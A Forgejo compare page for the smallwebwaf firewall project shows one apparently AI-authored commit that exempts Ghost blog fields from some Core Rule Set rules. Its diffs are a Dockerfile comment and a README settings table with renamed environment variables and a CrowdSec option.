sneak/smallwebwaf
1
0 Fork 0
Code Issues 12 Pull Requests 2 Actions Packages Projects Releases Wiki Activity

Compare commits

merge into: sneak/smallwebwaf:issue-315-remove-crowdsec
sneak/smallwebwaf:main sneak/smallwebwaf:next sneak/smallwebwaf:issue-339-long-line-limits sneak/smallwebwaf:issue-379-lookup-headers-by-default sneak/smallwebwaf:issue-315-remove-crowdsec sneak/smallwebwaf:issue-354-package-registry-searches sneak/smallwebwaf:issue-353-api-searches sneak/smallwebwaf:issue-234-rename-settings sneak/smallwebwaf:issue-359-ghost-remaining-fields sneak/smallwebwaf:issue-373-read-rest-after-connection-close sneak/smallwebwaf:issue-374-ghost-canonical-url sneak/smallwebwaf:issue-371-body-over-limit-test-reset sneak/smallwebwaf:issue-358-ghost-scripts sneak/smallwebwaf:issue-211-viper-config sneak/smallwebwaf:issue-357-ghost sneak/smallwebwaf:issue-346-names-in-bodies sneak/smallwebwaf:issue-365-adopt-form-repository-names sneak/smallwebwaf:issue-220-apps-by-hostname sneak/smallwebwaf:issue-352-shared-searches sneak/smallwebwaf:issue-215-golines sneak/smallwebwaf:issue-227-settings-file-per-daemon sneak/smallwebwaf:issue-350-forgejo-searches sneak/smallwebwaf:issue-349-gitea-user-page-ls sneak/smallwebwaf:issue-287-crs-test-cpu sneak/smallwebwaf:issue-284-wordpress-recorded-both-ways sneak/smallwebwaf:issue-216-oci-labels sneak/smallwebwaf:readme-rewrite-155
sneak/smallwebwaf:v1.0.0-rc2 sneak/smallwebwaf:v1.0.0-rc1
..
pull from: sneak/smallwebwaf:issue-359-ghost-remaining-fields
sneak/smallwebwaf:next sneak/smallwebwaf:issue-339-long-line-limits sneak/smallwebwaf:issue-379-lookup-headers-by-default sneak/smallwebwaf:issue-315-remove-crowdsec sneak/smallwebwaf:issue-354-package-registry-searches sneak/smallwebwaf:issue-353-api-searches sneak/smallwebwaf:issue-234-rename-settings sneak/smallwebwaf:issue-359-ghost-remaining-fields sneak/smallwebwaf:issue-373-read-rest-after-connection-close sneak/smallwebwaf:issue-374-ghost-canonical-url sneak/smallwebwaf:issue-371-body-over-limit-test-reset sneak/smallwebwaf:issue-358-ghost-scripts sneak/smallwebwaf:issue-211-viper-config sneak/smallwebwaf:issue-357-ghost sneak/smallwebwaf:issue-346-names-in-bodies sneak/smallwebwaf:issue-365-adopt-form-repository-names sneak/smallwebwaf:issue-220-apps-by-hostname sneak/smallwebwaf:issue-352-shared-searches sneak/smallwebwaf:issue-215-golines sneak/smallwebwaf:issue-227-settings-file-per-daemon sneak/smallwebwaf:issue-350-forgejo-searches sneak/smallwebwaf:issue-349-gitea-user-page-ls sneak/smallwebwaf:issue-287-crs-test-cpu sneak/smallwebwaf:issue-284-wordpress-recorded-both-ways sneak/smallwebwaf:issue-216-oci-labels sneak/smallwebwaf:main sneak/smallwebwaf:readme-rewrite-155
sneak/smallwebwaf:v1.0.0-rc2 sneak/smallwebwaf:v1.0.0-rc1
1 Commits
issue-315-remove-crowdsec .. issue-359-ghost-remaining-fields
Author SHA1 Message Date
clawbot c7696b4c11 Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359)
check / check (push) Failing after 4m7s
Details 
Ghost 6.76.0 was sent the fields not yet recorded with python3,
powershell, ls -la and .htaccess. Fixes in ghost.conf:

- eight rules that refused words naming commands and files, 932235 among
  them, for staff profiles, setup, invitations, tiers, offers,
  recommendations, integrations, webhooks, feature images, comments, the
  CSV import's labels, ActivityPub, and source and the utm_ fields;
- 932235 for the existing plain-text fields and code injection;
- filter skips six more rules, for title:~'powershell & python3';
- pathname skips 930120, 932120 and 932260;
- invitation addresses, email_segment, a tag's canonical_url, and
  ActivityPub's handles, actorUri and domain;
- a tag's code injection skips what a post's does.

Model: opus-5-5
 2026-11-12 09:14:50 +00:00
111 changed files with 3402 additions and 2798 deletions
Expand all files Collapse all files

No files matched your search

Dockerfile
+1 -1
View File
@@ -226,7 +226,7 @@ RUN groupadd --system --gid 65532 sww \
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user. # script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
RUN mkdir /var/lib/sww RUN mkdir /var/lib/sww
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile # The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it. # built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
README.md
+50 -46
View File
@@ -43,7 +43,8 @@ It protects against:
- give the clients of chosen networks and countries a fraction of every - give the clients of chosen networks and countries a fraction of every
limit, so that they are banned sooner; limit, so that they are banned sooner;
- refuse or limit clients on a blocklist, a DNS blocklist, or with a high - refuse or limit clients on a blocklist, a DNS blocklist, or with a high
AbuseIPDB score. AbuseIPDB score;
- ban clients named by your own CrowdSec engine.
- Slow and oversized requests. Every request and every answer has a time limit - Slow and oversized requests. Every request and every answer has a time limit
and a size limit. and a size limit.
@@ -211,7 +212,7 @@ account, a key, a token or an alert destination stays off until you give one.
setting takes it. setting takes it.
- The byte limits and the byte anomaly thresholds count only body bytes: the - The byte limits and the byte anomaly thresholds count only body bytes: the
app's response bodies, the visitors' request bodies, or both, as app's response bodies, the visitors' request bodies, or both, as
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent `SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
over a WebSocket counts as request bytes, and what the app sent as response over a WebSocket counts as request bytes, and what the app sent as response
bytes. bytes.
- An invalid setting stops the process at start with one log line naming the - An invalid setting stops the process at start with one log line naming the
@@ -221,14 +222,14 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default: Every setting the code reads, with its default:
| Variable | Default | What it does | | Variable | Default | What it does |
| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. | | `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. | | `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | | `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | | `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | | `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. | | `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | | `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | | `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | | `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | | `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
@@ -246,39 +247,39 @@ Every setting the code reads, with its default:
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | | `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | | `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | | `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | | `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | | `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | | `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | | `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | | `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | | `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | | `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | | `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | | `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | | `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. | | `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | | `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | | `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | | `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | | `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | | `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | | `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | | `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | | `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | | `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). | | `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | | `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. | | `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | | `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | | `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | | `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | | `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | | `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | | `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. | | `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
@@ -289,23 +290,25 @@ Every setting the code reads, with its default:
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | | `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | | `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | | `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. | | `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | | `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. | | `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | | `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | | `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. | | `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. | | `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | | `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | | `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | | `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | | `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | | `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | | `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | | `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | | `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | | `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | | `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | | `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. | | `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | | `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
@@ -316,27 +319,27 @@ Every setting the code reads, with its default:
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | | `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | | `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | | `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. | | `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. | | `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | | `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | | `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. | | `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
